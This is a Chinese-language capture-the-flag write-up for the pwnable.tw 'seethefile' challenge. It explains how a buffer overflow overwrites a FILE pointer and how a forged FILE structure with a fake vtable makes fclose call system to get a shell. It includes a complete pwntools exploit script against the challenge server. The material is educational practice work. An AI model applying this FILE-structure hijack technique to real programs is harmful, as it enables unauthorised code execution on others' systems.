pwnable.tw seethefile 经验总结

关于伪造FILE结构体来getshell的题目， 又学到了点知识

程序逻辑分析：

程序的逻辑简单，简单的打开文件读取文件的操作， 但是对于flag进行了严格的过滤， 无法直接通过打开flag文件来读取flag， 在switch分支5处输入的name存在明显的溢出， 观察发现fp就在name地址下方， 可以通过溢出来控制fp指针， 接下来就是伪造fake FILE结构体了

原理：
fp 指针指向的结构体为



1.file 为一个指向_IO_FILE结构体的指针
结构体所占的大小可写程序测试：


2. vtable 为一个指向_IO_jump_t 结构体的虚表指针， _IO_jump_t 中的JUMP_FIELD是一个宏， 这个宏接收两个参数， 第一个为类型， 第二个为变量名
这些变量中存放着函数指针， 所以可以通过覆盖这些指针来执行希望执行的函数

fclose 源码分析

_IO_IS_FILEBUF是一个宏， 定义为0x2000, 第一处通过让_IO_FILE结构体中的flag 与其进行与操作， 不为零则会执行_IO_file_close_it， 那么目的为绕过这个 if 检查条件， 并将_IO_FINISH覆盖为system的地址，再调用_IO_FINISH, 这样就可以getshell了

EXP:

from pwn import *

context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 0
d = 1

if debug == 1:
	p = process("./seethefile")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10200)

def Open(name):
	p.sendlineafter("Your choice :", str(1))
	p.sendlineafter("What do you want to see :", name)

def read():
	p.sendlineafter("Your choice :", str(2))

def show():
	p.sendlineafter("Your choice :", str(3))

Open("/proc/self/maps")

read()
show()

read()
show()

elf = ELF("./seethefile")
libc = ELF("stf_libc_32.so.6")
raw_input()
p.recvline()
leak = int('0x'+p.recvline()[:8], 16)
#libc_base = leak - (0xf7f0d000 - 0xf7d5d000)
system = leak + libc.symbols['system']
log.info("leak -> " + hex(leak))
#log.info("libc_base -> " + hex(libc_base))
log.info("system -> " + hex(system))

name = elf.symbols['name']
payload = [
		0, 0, 
		system, 0, 0, 0, 0, 0,
		name + 0x28, 0,
		u32('\x80\x80||'), u32('sh\0\0')
		]

p.sendlineafter("Your choice :", str(5))
p.sendlineafter("Leave your name :", flat(payload).ljust(0x94+0x28, '\0') + p32(name))
p.interactive()

exp是参考这个师傅的写出来的
http://blog.eonew.cn/archives/1123

结果：

---

记录一下， 64位ubuntu16在本地进行动态调试32位程序的的时候算出来的libc基址与目标文件的libc基址不一样， 要一样的话应该要搭一个docker去调试